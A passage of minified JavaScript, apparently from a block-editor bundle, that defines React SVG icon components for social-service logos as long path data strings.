0-.36642-.25406.26589.26589,0,0,0-.27613.06613l-.06943.06929A7.90606,7.90606,0,0,1,7.60639,18.505a7.57284,7.57284,0,0,1-1.696-2.51537,8.58715,8.58715,0,0,1-.5147-1.77754l-.00871-.04864c-.04939-.25873-.28755-.27684-.62981-.22448-.14234.02178-.5755.088-.53426.39969l.001.00712a9.08807,9.08807,0,0,0,15.406,4.99094c.00193-.00192.04753-.04718.0725-.07436C19.79425,19.16234,19.87422,18.98728,19.50945,18.6236Z"})});var H6=o(L(),1),UM=o(v(),1),Ple=()=>(0,UM.jsx)(H6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,UM.jsx)(H6.Path,{d:"M6.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5S9.25,7,6.5,7z M17.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5 S20.25,7,17.5,7z"})});var j6=o(L(),1),GM=o(v(),1),Ble=()=>(0,GM.jsx)(j6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,GM.jsx)(j6.Path,{d:"M17.573,2c0,0-9.197,0-10.668,0S5,3.107,5,3.805s0,16.948,0,16.948c0,0.785,0.422,1.077,0.66,1.172 c0.238,0.097,0.892,0.177,1.285-0.275c0,0,5.035-5.843,5.122-5.93c0.132-0.132,0.132-0.132,0.262-0.132h3.26 c1.368,0,1.588-0.977,1.732-1.552c0.078-0.318,0.692-3.428,1.225-6.122l0.675-3.368C19.56,2.893,19.14,2,17.573,2z M16.495,7.22 c-0.053,0.252-0.372,0.518-0.665,0.518c-0.293,0-4.157,0-4.157,0c-0.467,0-0.802,0.318-0.802,0.787v0.508 c0,0.467,0.337,0.798,0.805,0.798c0,0,3.197,0,3.528,0s0.655,0.362,0.583,0.715c-0.072,0.353-0.407,2.102-0.448,2.295 c-0.04,0.193-0.262,0.523-0.655,0.523c-0.33,0-2.88,0-2.88,0c-0.523,0-0.683,0.068-1.033,0.503 c-0.35,0.437-3.505,4.223-3.505,4.223c-0.032,0.035-0.063,0.027-0.063-0.015V4.852c0-0.298,0.26-0.648,0.648-0.648 c0,0,8.228,0,8.562,0c0.315,0,0.61,0.297,0.528,0.683L16.495,7.22z"})});var U6=o(L(),1),WM=o(v(),1),Ile=()=>(0,WM.jsx)(U6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,WM.jsx)(U6.Path,{d:"M17.3,17.5c-0.2,0.8-0.5,1.4-1,1.9c-0.4,0.5-1,0.9-1.7,1.2C13.9,20.9,13.1,21,12,21c-0.6,0-1.3-0.1-1.9-0.2 c-0.6-0.1-1.1-0.4-1.6-0.7c-0.5-0.3-0.9-0.7-1.2-1.2c-0.3-0.5-0.5-1.1-0.5-1.7h1.5c0.1,0.5,0.2,0.9,0.5,1.2 c0.2,0.3,0.5,0.6,0.9,0.8c0.3,0.2,0.7,0.3,1.1,0.4c0.4,0.1,0.8,0.1,1.2,0.1c1.4,0,2.5-0.4,3.1-1.2c0.6-0.8,1-2,1-3.5v-1.7h0 c-0.4,0.8-0.9,1.4-1.6,1.9c-0.7,0.5-1.5,0.7-2.4,0.7c-1,0-1.9-0.2-2.6-0.5C8.7,15,8.1,14.5,7.7,14c-0.5-0.6-0.8-1.3-1-2.1 c-0.2-0.8-0.3-1.6-0.3-2.5c0-0.9,0.1-1.7,0.4-2.5c0.3-0.8,0.6-1.5,1.1-2c0.5-0.6,1.1-1,1.8-1.4C10.3,3.2,11.1,3,12,3 c0.5,0,0.9,0.1,1.3,0.2c0.4,0.1,0.8,0.3,1.1,0.5c0.3,0.2,0.6,0.5,0.9,0.8c0.3,0.3,0.5,0.6,0.6,1h0V3.4h1.5V15 C17.6,15.9,17.5,16.7,17.3,17.5z M13.8,14.1c0.5-0.3,0.9-0.7,1.3-1.1c0.3-0.5,0.6-1,0.8-1.6c0.2-0.6,0.3-1.2,0.3-1.9 c0-0.6-0.1-1.2-0.2-1.9c-0.1-0.6-0.4-1.2-0.7-1.7c-0.3-0.5-0.7-0.9-1.3-1.2c-0.5-0.3-1.1-0.5-1.9-0.5s-1.4,0.2-1.9,0.5 c-0.5,0.3-1,0.7-1.3,1.2C8.5,6.4,8.3,7,8.1,7.6C8,8.2,7.9,8.9,7.9,9.5c0,0.6,0.1,1.3,0.2,1.9C8.3,12,8.6,12.5,8.9,13 c0.3,0.5,0.8,0.8,1.3,1.1c0.5,0.3,1.1,0.4,1.9,0.4C12.7,14.5,13.3,14.4,13.8,14.1z"})});var G6=o(L(),1),$M=o(v(),1),Ele=()=>(0,$M.jsx)(G6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,$M.jsx)(G6.Path,{d:"M12.02,10.18v3.72v0.01h5.51c-0.26,1.57-1.67,4.22-5.5,4.22c-3.31,0-6.01-2.75-6.01-6.12s2.7-6.12,6.01-6.12 c1.87,0,3.13,0.8,3.85,1.48l2.84-2.76C16.99,2.99,14.73,2,12.03,2c-5.52,0-10,4.48-10,10s4.48,10,10,10c5.77,0,9.6-4.06,9.6-9.77 c0-0.83-0.11-1.42-0.25-2.05H12.02z"})});var W6=o(L(),1),qM=o(v(),1),Nle=()=>(0,qM.jsx)(W6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,qM.jsx)(W6.Path,{d:"M12,2C6.477,2,2,6.477,2,12c0,4.419,2.865,8.166,6.839,9.489c0.5,0.09,0.682-0.218,0.682-0.484 c0-0.236-0.009-0.866-0.014-1.699c-2.782,0.602-3.369-1.34-3.369-1.34c-0.455-1.157-1.11-1.465-1.11-1.465 c-0.909-0.62,0.069-0.608,0.069-0.608c1.004,0.071,1.532,1.03,1.532,1.03c0.891,1.529,2.341,1.089,2.91,0.833 c0.091-0.647,0.349-1.086,0.635-1.337c-2.22-0.251-4.555-1.111-4.555-4.943c0-1.091,0.39-1.984,1.03-2.682 C6.546,8.54,6.202,7.524,6.746,6.148c0,0,0.84-0.269,2.75,1.025C10.295,6.95,11.15,6.84,12,6.836 c0.85,0.004,1.705,0.114,2.504,0.336c1.909-1.294,2.748-1.025,2.748-1.025c0.546,1.376,0.202,2.394,0.1,2.646 c0.64,0.699,1.026,1.591,1.026,2.682c0,3.841-2.337,4.687-4.565,4.935c0.359,0.307,0.679,0.917,0.679,1.852 c0,1.335-0.012,2.415-0.012,2.741c0,0.269,0.18,0.579,0.688,0.481C19.138,20.161,22,16.416,22,12C22,6.477,17.523,2,12,2z"})});var $6=o(L(),1),ZM=o(v(),1),Dle=()=>(0,ZM.jsx)($6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,ZM.jsx)($6.Path,{d:"M10.8001 4.69937V10.6494C10.8001 11.1001 10.9791 11.5323 11.2978 11.851C11.6165 12.1697 12.0487 12.3487 12.4994 12.3487C12.9501 12.3487 13.3824 12.1697 13.7011 11.851C14.0198 11.5323 14.1988 11.1001 14.1988 10.6494V6.69089C15.2418 7.05861 16.1371 7.75537 16.7496 8.67617C17.3622 9.59698 17.6589 10.6919 17.595 11.796C17.5311 12.9001 17.1101 13.9535 16.3954 14.7975C15.6807 15.6415 14.711 16.2303 13.6325 16.4753C12.5541 16.7202 11.4252 16.608 10.4161 16.1555C9.40691 15.703 8.57217 14.9348 8.03763 13.9667C7.50308 12.9985 7.29769 11.8828 7.45242 10.7877C7.60714 9.69266 8.11359 8.67755 8.89545 7.89537C9.20904 7.57521 9.38364 7.14426 9.38132 6.69611C9.37899 6.24797 9.19994 5.81884 8.88305 5.50195C8.56616 5.18506 8.13704 5.00601 7.68889 5.00369C7.24075 5.00137 6.80979 5.17597 6.48964 5.48956C5.09907 6.8801 4.23369 8.7098 4.04094 10.6669C3.84819 12.624 4.34 14.5873 5.43257 16.2224C6.52515 17.8575 8.15088 19.0632 10.0328 19.634C11.9146 20.2049 13.9362 20.1055 15.753 19.3529C17.5699 18.6003 19.0695 17.241 19.9965 15.5066C20.9234 13.7722 21.2203 11.7701 20.8366 9.84133C20.4528 7.91259 19.4122 6.17658 17.892 4.92911C16.3717 3.68163 14.466 2.99987 12.4994 3C12.0487 3 11.6165 3.17904 11.2978 3.49773C10.9791 3.81643 10.8001 4.24867 10.8001 4.69937Z"})});var q6=o(L(),1),KM=o(v(),1),Lle=()=>(0,KM.jsx)(q6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,KM.jsx)(q6.Path,{d:"M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"})});var Z6=o(L(),1),QM=o(v(),1),Mle=()=>(0,QM.jsx)(Z6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,QM.jsx)(Z6.Path,{d:"M 12.0002 1.5 C 6.2006 1.5 1.5 6.2011 1.5 11.9998 C 1.5 17.799 6.2006 22.5 12.0002 22.5 C 17.799 22.5 22.5 17.799 22.5 11.9998 C 22.5 6.2011 17.799 1.5 12.0002 1.5 Z M 16.1974 16.2204 C 14.8164 16.2152 13.9346 15.587 13.3345 14.1859 L 13.1816 13.8451 L 11.8541 10.8101 C 11.4271 9.7688 10.3526 9.0712 9.1801 9.0712 C 7.5695 9.0712 6.2593 10.3851 6.2593 12.001 C 6.2593 13.6165 7.5695 14.9303 9.1801 14.9303 C 10.272 14.9303 11.2651 14.3275 11.772 13.3567 C 11.7893 13.3235 11.8239 13.302 11.863 13.3038 C 11.9007 13.3054 11.9353 13.3288 11.9504 13.3632 L 12.4865 14.6046 C 12.5016 14.639 12.4956 14.6778 12.4723 14.7069 C 11.6605 15.6995 10.4602 16.2683 9.1801 16.2683 C 6.8331 16.2683 4.9234 14.3536 4.9234 12.001 C 4.9234 9.6468 6.833 7.732 9.1801 7.732 C 10.9572 7.732 12.3909 8.6907 13.1138 10.3636 C 13.1206 10.3802 13.8412 12.0708 14.4744 13.5191 C 14.8486 14.374 15.1462 14.896 16.1288 14.9292 C 17.0663 14.9613 17.7538 14.4122 17.7538 13.6485 C 17.7538 12.9691 17.3321 12.8004 16.3803 12.4822 C 14.7365 11.9398 13.845 11.3861 13.845 10.0182 C 13.845 8.6809 14.7667 7.8162 16.192 7.8162 C 17.1288 7.8162 17.8155 8.2287 18.2921 9.0768 C 18.305 9.1006 18.3079 9.1281 18.3004 9.1542 C 18.2929 9.1803 18.2748 9.2021 18.2507 9.2138 L 17.3614 9.669 C 17.3178 9.692 17.2643 9.6781 17.2356 9.6385 C 16.9329 9.2135 16.5956 9.0251 16.1423 9.0251 C 15.5512 9.0251 15.122 9.429 15.122 9.9865 C 15.122 10.6738 15.6529 10.8414 16.5339 11.1192 C 16.6491 11.1558 16.7696 11.194 16.8939 11.2343 C 18.2763 11.6865 19.0768 12.2311 19.0768 13.6836 C 19.0769 15.1297 17.8389 16.2204 16.1974 16.2204 Z"})});var K6=o(L(),1),YM=o(v(),1),Ale=()=>(0,YM.jsx)(K6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,YM.jsx)(K6.Path,{d:"M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"})});var Q6=o(L(),1),XM=o(v(),1),Rle=()=>(0,XM.jsx)(Q6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,XM.jsx)(Q6.Path,{d:"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm.5 12c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l7.5 5.6 7.5-5.6V17zm0-9.1L12 13.6 4.5 7.9V7c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v.9z"})});var Y6=o(L(),1),JM=o(v(),1),zle=()=>(0,JM.jsx)(Y6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,JM.jsx)(Y6.Path,{d:"M23.193 7.879c0-5.206-3.411-6.732-3.411-6.732C18.062.357 15.108.025 12.041 0h-.076c-3.068.025-6.02.357-7.74 1.147 0 0-3.411 1.526-3.411 6.732 0 1.192-.023 2.618.015 4.129.124 5.092.934 10.109 5.641 11.355 2.17.574 4.034.695 5.535.612 2.722-.15 4.25-.972 4.25-.972l-.09-1.975s-1.945.613-4.129.539c-2.165-.074-4.449-.233-4.799-2.891a5.499 5.499 0 0 1-.048-.745s2.125.52 4.817.643c1.646.075 3.19-.097 4.758-.283 3.007-.359 5.625-2.212 5.954-3.905.517-2.665.475-6.507.475-6.507zm-4.024 6.709h-2.497V8.469c0-1.29-.543-1.944-1.628-1.944-1.2 0-1.802.776-1.802 2.312v3.349h-2.483v-3.35c0-1.536-.602-2.312-1.802-2.312-1.085 0-1.628.655-1.628 1.944v6.119H4.832V8.284c0-1.289.328-2.313.987-3.07.68-.758 1.569-1.146 2.674-1.146 1.278 0 2.246.491 2.886 1.474L12 6.585l.622-1.043c.64-.983 1.608-1.474 2.886-1.474 1.104 0 1.994.388 2.674 1.146.658.757.986 1.781.986 3.07v6.304z"})});var X6=o(L(),1),eA=o(v(),1),Vle=()=>(0,eA.jsx)(X6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,eA.jsx)(X6.Path,{d:"M19.24775,14.722a3.57032,3.57032,0,0,1-2.94457,3.52073,3.61886,3.61886,0,0,1-.64652.05634c-.07314-.0008-.10187.02846-.12507.09547A2.38881,2.38881,0,0,1,13.49453,20.094a2.33092,2.33092,0,0,1-1.827-.50716.13635.13635,0,0,0-.19878-.00408,3.191,3.191,0,0,1-2.104.60248,3.26309,3.26309,0,0,1-3.00324-2.71993,2.19076,2.19076,0,0,1-.03512-.30865c-.00156-.08579-.03413-.1189-.11608-.13493a2.86421,2.86421,0,0,1-1.23189-.56111,2.945,2.945,0,0,1-1.166-2.05749,2.97484,2.97484,0,0,1,.87524-2.50774.112.112,0,0,0,.02091-.16107,2.7213,2.7213,0,0,1-.36648-1.48A2.81256,2.81256,0,0,1,6.57673,7.58838a.35764.35764,0,0,0,.28869-.22819,4.2208,4.2208,0,0,1,6.02892-1.90111.25161.25161,0,0,0,.22023.0243,3.65608,3.65608,0,0,1,3.76031.90678A3.57244,3.57244,0,0,1,17.95918,8.626a2.97339,2.97339,0,0,1,.01829.57356.10637.10637,0,0,0,.0853.12792,1.97669,1.97669,0,0,1,1.27939,1.33733,2.00266,2.00266,0,0,1-.57112,2.12652c-.05284.05166-.04168.08328-.01173.13489A3.51189,3.51189,0,0,1,19.24775,14.722Zm-6.35959-.27836a1.6984,1.6984,0,0,0,1.14556,1.61113,3.82039,3.82039,0,0,0,1.036.17935,1.46888,1.46888,0,0,0,.73509-.12255.44082.44082,0,0,0,.26057-.44274.45312.45312,0,0,0-.29211-.43375.97191.97191,0,0,0-.20678-.063c-.21326-.03806-.42754-.0701-.63973-.11215a.54787.54787,0,0,1-.50172-.60926,2.75864,2.75864,0,0,1,.1773-.901c.1763-.535.414-1.045.64183-1.55913A12.686,12.686,0,0,0,15.85,10.47863a1.58461,1.58461,0,0,0,.04861-.87208,1.04531,1.04531,0,0,0-.85432-.83981,1.60658,1.60658,0,0,0-1.23654.16594.27593.27593,0,0,1-.36286-.03413c-.085-.0747-.16594-.15379-.24918-.23055a.98682.98682,0,0,0-1.33577-.04933,6.1468,6.1468,0,0,1-.4989.41615.47762.47762,0,0,1-.51535.03566c-.17448-.09307-.35512-.175-.53531-.25665a1.74949,1.74949,0,0,0-.56476-.2016,1.69943,1.69943,0,0,0-1.61654.91787,8.05815,8.05815,0,0,0-.32952.80126c-.45471,1.2557-.82507,2.53825-1.20838,3.81639a1.24151,1.24151,0,0,0,.51532,1.44389,1.42659,1.42659,0,0,0,1.22008.17166,1.09728,1.09728,0,0,0,.66994-.69764c.44145-1.04111.839-2.09989,1.25981-3.14926.11581-.28876.22792-.57874.35078-.86438a.44548.44548,0,0,1,.69189-.19539.50521.50521,0,0,1,.15044.43836,1.75625,1.75625,0,0,1-.14731.50453c-.27379.69219-.55265,1.38236-.82766,2.074a2.0836,2.0836,0,0,0-.14038.42876.50719.50719,0,0,0,.27082.57722.87236.87236,0,0,0,.66145.02739.99137.99137,0,0,0,.53406-.532q.61571-1.20914,1.228-2.42031.28423-.55863.57585-1.1133a.87189.87189,0,0,1,.29055-.35253.34987.34987,0,0,1,.37634-.01265.30291.30291,0,0,1,.12434.31459.56716.56716,0,0,1-.04655.1915c-.05318.12739-.10286.25669-.16183.38156-.34118.71775-.68754,1.43273-1.02568,2.152A2.00213,2.00213,0,0,0,12.88816,14.44366Zm4.78568,5.28972a.88573.88573,0,0,0-1.77139.00465.8857.8857,0,0,0,1.77139-.00465Zm-14.83838-7.296a.84329.84329,0,1,0,.00827-1.68655.8433.8433,0,0,0-.00827,1.68655Zm10.366-9.43673a.83506.83506,0,1,0-.0091,1.67.83505.83505,0,0,0,.0091-1.67Zm6.85014,5.22a.71651.71651,0,0,0-1.433.0093.71656.71656,0,0,0,1.433-.0093ZM5.37528,6.17908A.63823.63823,0,1,0,6.015,5.54483.62292.62292,0,0,0,5.37528,6.17908Zm6.68214,14.80843a.54949.54949,0,1,0-.55052.541A.54556.54556,0,0,0,12.05742,20.98752Zm8.53235-8.49689a.54777.54777,0,0,0-.54027.54023.53327.53327,0,0,0,.532.52293.51548.51548,0,0,0,.53272-.5237A.53187.53187,0,0,0,20.58977,12.49063ZM7.82846,2.4715a.44927.44927,0,1,0,.44484.44766A.43821.43821,0,0,0,7.82846,2.4715Zm13.775,7.60492a.41186.41186,0,0,0-.40065.39623.40178.40178,0,0,0,.40168.40168A.38994.38994,0,0,0,22,10.48172.39946.39946,0,0,0,21.60349,10.07642ZM5.79193,17.96207a.40469.40469,0,0,0-.397-.39646.399.399,0,0,0-.396.405.39234.39234,0,0,0,.39939.389A.39857.39857,0,0,0,5.79193,17.96207Z"})});var J6=o(L(),1),tA=o(v(),1),Fle=()=>(0,tA.jsx)(J6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,tA.jsx)(J6.Path,{d:"M13.2,12c0,3-2.4,5.4-5.3,5.4S2.6,15,2.6,12s2.4-5.4,5.3-5.4S13.2,9,13.2,12 M19.1,12c0,2.8-1.2,5-2.7,5s-2.7-2.3-2.7-5s1.2-5,2.7-5C17.9,7,19.1,9.2,19.1,12 M21.4,12c0,2.5-0.4,4.5-0.9,4.5c-0.5,0-0.9-2-0.9-4.5s0.4-4.5,0.9-4.5C21,7.5,21.4,9.5,21.4,12"})});var eS=o(L(),1),rA=o(v(),1),Ole=()=>(0,rA.jsx)(eS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,rA.jsx)(eS.Path,{d:"M20 8.40755C19.9969 6.10922 18.2543 4.22555 16.2097 3.54588C13.6708 2.70188 10.3222 2.82421 7.89775 3.99921C4.95932 5.42355 4.03626 8.54355 4.00186 11.6552C3.97363 14.2136 4.2222 20.9517 7.92225 20.9997C10.6715 21.0356 11.0809 17.3967 12.3529 15.6442C13.258 14.3974 14.4233 14.0452 15.8578 13.6806C18.3233 13.0537 20.0036 11.0551 20 8.40755Z"})});var tS=o(L(),1),oA=o(v(),1),Hle=()=>(0,oA.jsx)(tS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,oA.jsx)(tS.Path,{d:"M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2"})});var rS=o(L(),1),aA=o(v(),1),jle=()=>(0,aA.jsx)(rS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,aA.jsx)(rS.Path,{d:"M21.927,4.194C21.667,3.48,20.982,3,20.222,3h-0.01h-1.721H3.839C3.092,3,2.411,3.47,2.145,4.17 C2.066,4.378,2.026,4.594,2.026,4.814v6.035l0.069,1.2c0.29,2.73,1.707,5.115,3.899,6.778c0.039,0.03,0.079,0.059,0.119,0.089 l0.025,0.018c1.175,0.859,2.491,1.441,3.91,1.727c0.655,0.132,1.325,0.2,1.991,0.2c0.615,0,1.232-0.057,1.839-0.17 c0.073-0.014,0.145-0.028,0.219-0.044c0.02-0.004,0.042-0.012,0.064-0.023c1.359-0.297,2.621-0.864,3.753-1.691l0.025-0.018 c0.04-0.029,0.08-0.058,0.119-0.089c2.192-1.664,3.609-4.049,3.898-6.778l0.069-1.2V4.814C22.026,4.605,22,4.398,21.927,4.194z M17.692,10.481l-4.704,4.512c-0.266,0.254-0.608,0.382-0.949,0.382c-0.342,0-0.684-0.128-0.949-0.382l-4.705-4.512 C5.838,9.957,5.82,9.089,6.344,8.542c0.524-0.547,1.392-0.565,1.939-0.04l3.756,3.601l3.755-3.601 c0.547-0.524,1.415-0.506,1.939,0.04C18.256,9.089,18.238,9.956,17.692,10.481z"})});var oS=o(L(),1),nA=o(v(),1),Ule=()=>(0,nA.jsx)(oS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,nA.jsx)(oS.Path,{d:"M5.27 9.221A2.775 2.775 0 0 0 2.498 11.993a2.785 2.785 0 0 0 1.6 2.511 5.337 5.337 0 0 0 2.374 4.11 9.386 9.386 0 0 0 5.539 1.7 9.386 9.386 0 0 0 5.541-1.7 5.331 5.331 0 0 0 2.372-4.114 2.787 2.787 0 0 0 1.583-2.5 2.775 2.775 0 0 0-2.772-2.772 2.742 2.742 0 0 0-1.688.574 9.482 9.482 0 0 0-4.637-1.348v-.008a2.349 2.349 0 0 1 2.011-2.316 1.97 1.97 0 0 0 1.926 1.521 1.98 1.98 0 0 0 1.978-1.978 1.98 1.98 0 0 0-1.978-1.978 1.985 1.985 0 0 0-1.938 1.578 3.183 3.183 0 0 0-2.849 3.172v.011a9.463 9.463 0 0 0-4.59 1.35 2.741 2.741 0 0 0-1.688-.574Zm6.736 9.1a3.162 3.162 0 0 1-2.921-1.944.215.215 0 0 1 .014-.2.219.219 0 0 1 .168-.106 27.327 27.327 0 0 1 2.74-.133 27.357 27.357 0 0 1 2.74.133.219.219 0 0 1 .168.106.215.215 0 0 1 .014.2 3.158 3.158 0 0 1-2.921 1.944Zm3.743-3.157a1.265 1.265 0 0 1-1.4-1.371 1.954 1.954 0 0 1 .482-1.442 1.15 1.15 0 0 1 .842-.379 1.7 1.7 0 0 1 1.49 1.777 1.323 1.323 0 0 1-.325 1.015 1.476 1.476 0 0 1-1.089.4Zm-7.485 0a1.476 1.476 0 0 1-1.086-.4 1.323 1.323 0 0 1-.325-1.016 1.7 1.7 0 0 1 1.49-1.777 1.151 1.151 0 0 1 .843.379 1.951 1.951 0 0 1 .481 1.441 1.276 1.276 0 0 1-1.403 1.373Z"})});var aS=o(L(),1),iA=o(v(),1),Gle=()=>(0,iA.jsx)(aS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,iA.jsx)(aS.Path,{d:"M10.113,2.699c0.033-0.006,0.067-0.013,0.1-0.02c0.033,0.017,0.066,0.033,0.098,0.051L10.113,2.699z M2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223z M21.275,13.771 c0.007-0.035,0.011-0.071,0.018-0.106c-0.018-0.031-0.033-0.064-0.052-0.095L21.275,13.771z M13.563,21.199 c0.032,0.019,0.065,0.035,0.096,0.053c0.036-0.006,0.071-0.011,0.105-0.017L13.563,21.199z M22,16.386 c0,1.494-0.581,2.898-1.637,3.953c-1.056,1.057-2.459,1.637-3.953,1.637c-0.967,0-1.914-0.251-2.75-0.725 c0.036-0.006,0.071-0.011,0.105-0.017l-0.202-0.035c0.032,0.019,0.065,0.035,0.096,0.053c-0.543,0.096-1.099,0.147-1.654,0.147 c-1.275,0-2.512-0.25-3.676-0.743c-1.125-0.474-2.135-1.156-3.002-2.023c-0.867-0.867-1.548-1.877-2.023-3.002 c-0.493-1.164-0.743-2.401-0.743-3.676c0-0.546,0.049-1.093,0.142-1.628c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103C2.244,9.5,2,8.566,2,7.615c0-1.493,0.582-2.898,1.637-3.953 c1.056-1.056,2.46-1.638,3.953-1.638c0.915,0,1.818,0.228,2.622,0.655c-0.033,0.007-0.067,0.013-0.1,0.02l0.199,0.031 c-0.032-0.018-0.066-0.034-0.098-0.051c0.002,0,0.003-0.001,0.004-0.001c0.586-0.112,1.187-0.169,1.788-0.169 c1.275,0,2.512,0.249,3.676,0.742c1.124,0.476,2.135,1.156,3.002,2.024c0.868,0.867,1.548,1.877,2.024,3.002 c0.493,1.164,0.743,2.401,0.743,3.676c0,0.575-0.054,1.15-0.157,1.712c-0.018-0.031-0.033-0.064-0.052-0.095l0.034,0.201 c0.007-0.035,0.011-0.071,0.018-0.106C21.754,14.494,22,15.432,22,16.386z M16.817,14.138c0-1.331-0.613-2.743-3.033-3.282 l-2.209-0.49c-0.84-0.192-1.807-0.444-1.807-1.237c0-0.794,0.679-1.348,1.903-1.348c2.468,0,2.243,1.696,3.468,1.696 c0.645,0,1.209-0.379,1.209-1.031c0-1.521-2.435-2.663-4.5-2.663c-2.242,0-4.63,0.952-4.63,3.488c0,1.221,0.436,2.521,2.839,3.123 l2.984,0.745c0.903,0.223,1.129,0.731,1.129,1.189c0,0.762-0.758,1.507-2.129,1.507c-2.679,0-2.307-2.062-3.743-2.062 